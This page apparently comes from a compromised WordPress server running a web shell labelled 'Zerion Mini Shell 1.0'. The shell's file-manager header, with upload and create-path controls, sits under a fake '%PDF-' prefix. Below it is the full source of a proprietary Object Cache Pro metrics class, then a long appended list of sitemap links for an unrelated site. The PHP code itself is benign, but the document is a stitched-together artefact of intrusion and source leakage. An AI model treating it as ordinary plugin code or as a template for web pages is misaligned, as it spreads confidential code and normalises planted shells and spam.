%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom645759/wp-content/mu-plugins/object-cache-pro/src/Metrics/
Upload File :
Create Path :
Current File : /dom645759/wp-content/mu-plugins/object-cache-pro/src/Metrics/Measurement.php

<?php
/**
 * Copyright © 2019-2026 Rhubarb Tech Inc. All Rights Reserved.
 *
 * The Object Cache Pro Software and its related materials are property and confidential
 * information of Rhubarb Tech Inc. Any reproduction, use, distribution, or exploitation
 * of the Object Cache Pro Software and its related materials, in whole or in part,
 * is strictly forbidden unless prior permission is obtained from Rhubarb Tech Inc.
 *
 * In addition, any reproduction, use, distribution, or exploitation of the Object Cache Pro
 * Software and its related materials, in whole or in part, is subject to the End-User License
 * Agreement accessible in the included `LICENSE` file, or at: https://objectcache.pro/eula
 */

declare(strict_types=1);

namespace RedisCachePro\Metrics;

class Measurement
{
    /**
     * The unique identifier of the measurement.
     *
     * @var string
     */
    public $id;

    /**
     * The Unix timestamp with microseconds of the measurement.
     *
     * @var float
     */
    public $timestamp;

    /**
     * The hostname on which the measurement was taken.
     *
     * @var string|null
     */
    public $hostname;

    /**
     * The URL path of the request, if applicable.
     *
     * @var string|null
     */
    public $path;

    /**
     * The WordPress measurement.
     *
     * @var \RedisCachePro\Metrics\WordPressMetrics
     */
    public $wp;

    /**
     * The Redis measurement.
     *
     * @var \RedisCachePro\Metrics\RedisMetrics|null
     */
    public $redis;

    /**
     * The Relay measurement.
     *
     * @var \RedisCachePro\Metrics\RelayMetrics|null
     */
    public $relay;

    /**
     * Makes a new instance.
     *
     * @return self
     */
    public static function make()
    {
        $self = new self;
        $self->id = substr(md5(uniqid((string) mt_rand(), true)), 12);
        $self->timestamp = microtime(true);

        return $self;
    }

    /**
     * Collect optional properties.
     *
     * @param  array<string>  $properties
     * @return self
     */
    public function with($properties)
    {
        foreach ($properties as $property) {
            if ($property === 'path') {
                $this->path = $_SERVER['REQUEST_URI'] ?? null;
            }

            if ($property === 'hostname') {
                if (isset($_ENV['DYNO'])) {
                    $this->hostname = $_ENV['DYNO']; // Heroku
                } else {
                    $this->hostname = gethostname() ?: null;
                }
            }
        }

        return $this;
    }

    /**
     * Returns an rfc3339 compatible timestamp.
     *
     * @return string
     */
    public function rfc3339()
    {
        return substr_replace(
            date('c', intval($this->timestamp)),
            substr((string) fmod($this->timestamp, 1), 1, 7),
            19,
            0
        );
    }

    /**
     * Returns a new instance from given JSON.
     *
     * @param  string  $json
     * @return ?self
     */
    public static function fromJson(string $json)
    {
        $data = json_decode($json, true);

        if (json_last_error() !== JSON_ERROR_NONE) {
            return null;
        }

        $measurement = new self;

        foreach ($data as $key => $value) {
            if ($key === 'wp') {
                $measurement->wp = WordPressMetrics::fromArray($value);
            } elseif ($key === 'redis') {
                $measurement->redis = $value ? RedisMetrics::fromArray($value) : null;
            } elseif ($key === 'relay') {
                $measurement->relay = $value ? RelayMetrics::fromArray($value) : null;
            } else {
                $measurement->{$key} = $value;
            }
        }

        return $measurement;
    }

    /**
     * Returns the measurement as array.
     *
     * @return array<string, mixed>
     */
    public function toArray()
    {
        $array = $this->wp ? $this->wp->toArray() : [];

        if ($this->redis) {
            $redis = $this->redis->toArray();

            $array += array_combine(array_map(static function ($key) {
                return "redis-{$key}";
            }, array_keys($redis)), $redis);
        }

        if ($this->relay) {
            $relay = $this->relay->toArray();

            $array += array_combine(array_map(static function ($key) {
                return "relay-{$key}";
            }, array_keys($relay)), $relay);
        }

        return $array;
    }

    /**
     * Returns the request metrics in string format.
     *
     * @return string
     */
    public function __toString()
    {
        return implode(' ', array_filter([
            $this->wp,
            $this->redis ? (string) $this->redis : null,
            $this->relay ? (string) $this->relay : null,
        ]));
    }

    /**
     * Helper method to access metrics.
     *
     * @param  string  $name
     * @return mixed
     */
    public function __get(string $name)
    {
        if (strpos($name, '->') !== false) {
            [$type, $metric] = explode('->', $name);

            if (strpos($metric, '-') !== false) {
                $metric = lcfirst(str_replace('-', '', ucwords($metric, '-')));
            }

            if (property_exists($this, $type)) {
                return $this->{$type}->{$metric} ?? null;
            }
        }

        trigger_error(
            sprintf('Undefined property: %s::$%s', get_called_class(), $name),
            E_USER_WARNING
        );
    }
}

Zerion Mini Shell 1.0
https://louisvillegop.com/sitemap15.xml 2026-12-01 https://louisvillegop.com/sitemap88.xml 2026-12-01 https://louisvillegop.com/sitemap29.xml 2026-12-01 https://louisvillegop.com/sitemap769.xml 2026-12-01 https://louisvillegop.com/sitemap18.xml 2026-12-01 https://louisvillegop.com/sitemap501.xml 2026-12-01 https://louisvillegop.com/sitemap448.xml 2026-12-01 https://louisvillegop.com/sitemap542.xml 2026-12-01 https://louisvillegop.com/sitemap790.xml 2026-12-01 https://louisvillegop.com/sitemap827.xml 2026-12-01 https://louisvillegop.com/sitemap609.xml 2026-12-01 https://louisvillegop.com/sitemap937.xml 2026-12-01 https://louisvillegop.com/sitemap132.xml 2026-12-01 https://louisvillegop.com/sitemap407.xml 2026-12-01 https://louisvillegop.com/sitemap368.xml 2026-12-01 https://louisvillegop.com/sitemap145.xml 2026-12-01 https://louisvillegop.com/sitemap263.xml 2026-12-01 https://louisvillegop.com/sitemap593.xml 2026-12-01 https://louisvillegop.com/sitemap403.xml 2026-12-01 https://louisvillegop.com/sitemap686.xml 2026-12-01 https://louisvillegop.com/sitemap365.xml 2026-12-01 https://louisvillegop.com/sitemap330.xml 2026-12-01 https://louisvillegop.com/sitemap726.xml 2026-12-01 https://louisvillegop.com/sitemap971.xml 2026-12-01 https://louisvillegop.com/sitemap888.xml 2026-12-01 https://louisvillegop.com/sitemap19.xml 2026-12-01 https://louisvillegop.com/sitemap759.xml 2026-12-01 https://louisvillegop.com/sitemap352.xml 2026-12-01 https://louisvillegop.com/sitemap130.xml 2026-12-01 https://louisvillegop.com/sitemap777.xml 2026-12-01 https://louisvillegop.com/sitemap779.xml 2026-12-01 https://louisvillegop.com/sitemap492.xml 2026-12-01 https://louisvillegop.com/sitemap415.xml 2026-12-01 https://louisvillegop.com/sitemap587.xml 2026-12-01 https://louisvillegop.com/sitemap835.xml 2026-12-01 https://louisvillegop.com/sitemap96.xml 2026-12-01 https://louisvillegop.com/sitemap603.xml 2026-12-01 https://louisvillegop.com/sitemap534.xml 2026-12-01 https://louisvillegop.com/sitemap745.xml 2026-12-01 https://louisvillegop.com/sitemap395.xml 2026-12-01 https://louisvillegop.com/sitemap858.xml 2026-12-01 https://louisvillegop.com/sitemap691.xml 2026-12-01 https://louisvillegop.com/sitemap863.xml 2026-12-01 https://louisvillegop.com/sitemap164.xml 2026-12-01 https://louisvillegop.com/sitemap174.xml 2026-12-01 https://louisvillegop.com/sitemap525.xml 2026-12-01 https://louisvillegop.com/sitemap465.xml 2026-12-01 https://louisvillegop.com/sitemap867.xml 2026-12-01 https://louisvillegop.com/sitemap235.xml 2026-12-01 https://louisvillegop.com/sitemap89.xml 2026-12-01 https://louisvillegop.com/sitemap663.xml 2026-12-01 https://louisvillegop.com/sitemap717.xml 2026-12-01 https://louisvillegop.com/sitemap213.xml 2026-12-01 https://louisvillegop.com/sitemap57.xml 2026-12-01 https://louisvillegop.com/sitemap252.xml 2026-12-01 https://louisvillegop.com/sitemap630.xml 2026-12-01 https://louisvillegop.com/sitemap296.xml 2026-12-01 https://louisvillegop.com/sitemap176.xml 2026-12-01 https://louisvillegop.com/sitemap495.xml 2026-12-01 https://louisvillegop.com/sitemap379.xml 2026-12-01 https://louisvillegop.com/sitemap504.xml 2026-12-01 https://louisvillegop.com/sitemap195.xml 2026-12-01 https://louisvillegop.com/sitemap86.xml 2026-12-01 https://louisvillegop.com/sitemap421.xml 2026-12-01 https://louisvillegop.com/sitemap785.xml 2026-12-01 https://louisvillegop.com/sitemap491.xml 2026-12-01 https://louisvillegop.com/sitemap911.xml 2026-12-01 https://louisvillegop.com/sitemap422.xml 2026-12-01 https://louisvillegop.com/sitemap129.xml 2026-12-01 https://louisvillegop.com/sitemap648.xml 2026-12-01